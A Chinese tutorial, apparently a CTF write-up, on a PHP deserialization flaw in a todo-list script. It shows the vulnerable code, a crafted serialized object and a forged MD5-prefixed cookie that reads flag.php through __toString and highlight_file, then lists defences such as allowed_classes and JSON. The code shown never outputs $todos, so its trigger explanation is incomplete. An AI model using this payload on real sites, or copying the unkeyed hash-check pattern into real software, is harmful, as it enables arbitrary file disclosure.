反序列化漏洞-PHP
字数 1129 2025-08-15 21:33:50
PHP反序列化漏洞分析与利用
1. 序列化与反序列化基础
1.1 基本概念
- 序列化:将对象的状态信息转换为可以存储或传输的形式的过程
- 反序列化:将序列化后的数据重新转换为对象或其他数据结构的过程
1.2 PHP中的序列化与反序列化
PHP中使用serialize()和unserialize()函数进行序列化和反序列化操作:
// 序列化
$data = ['name' => 'test', 'value' => 123];
$serialized = serialize($data); // 输出序列化字符串
// 反序列化
$unserialized = unserialize($serialized); // 还原原始数据
2. 魔术方法及其在反序列化中的作用
PHP中的魔术方法在特定条件下会自动调用,在反序列化漏洞利用中特别重要:
2.1 关键魔术方法
__construct(): 对象创建时(new)自动调用,但在unserialize()时不会自动调用__destruct(): 对象销毁时自动调用__wakeup(): 使用unserialize()函数时自动调用__toString(): 当对象被当作字符串输出时自动调用
2.2 示例代码中的魔术方法
class readme{
public function __toString() {
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
3. 漏洞代码分析
3.1 代码结构
<?php
class readme{
public function __toString() {
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
3.2 漏洞点分析
- 反序列化入口:通过
$_COOKIE['todos']接收数据并反序列化 - 魔术方法利用:
__toString()方法会在对象被当作字符串输出时调用 - 文件读取:
highlight_file()函数可以读取并高亮显示文件内容 - 可控参数:
$this->source参数可以通过序列化控制
4. 漏洞利用步骤
4.1 利用流程
- 构造恶意序列化数据
- 设置cookie触发反序列化
- 利用
__toString()方法读取flag.php文件
4.2 具体步骤
- 构造恶意对象:
class readme {
public $source = 'flag.php'; // 修改为要读取的目标文件
}
$payload = [new readme()];
$serialized = serialize($payload);
$hash = md5($serialized);
$cookieValue = $hash . $serialized;
- 设置cookie:
document.cookie = "todos=" + escape("构造的cookie值");
- 触发漏洞:
访问页面后,系统会自动反序列化cookie中的数据,当遍历$todos数组时会触发__toString()方法,从而读取flag.php内容。
5. 防御措施
5.1 安全建议
- 避免反序列化用户输入:不要反序列化不可信的来源数据
- 使用白名单验证:对反序列化的类进行限制
- 签名验证:对序列化数据进行签名验证
- 使用替代方案:如JSON等更安全的序列化格式
5.2 代码修复示例
// 添加类白名单检查
$allowed_classes = ['SafeClass1', 'SafeClass2'];
$todos = unserialize($m, ['allowed_classes' => $allowed_classes]);
// 或者完全禁用对象反序列化
$todos = unserialize($m, ['allowed_classes' => false]);
6. 相关函数说明
highlight_file(): 显示文件源码并进行语法高亮print_r(): 打印变量信息,可以输出非字符串__FILE__: 获取当前文件路径md5(): 计算字符串的MD5哈希值
7. 总结
该漏洞利用PHP反序列化机制,通过控制序列化数据中的类属性,触发魔术方法执行任意文件读取操作。关键在于:
- 找到反序列化入口点
- 识别可利用的魔术方法
- 构造恶意序列化数据
- 触发反序列化操作
理解这些原理对于防御和利用PHP反序列化漏洞都至关重要。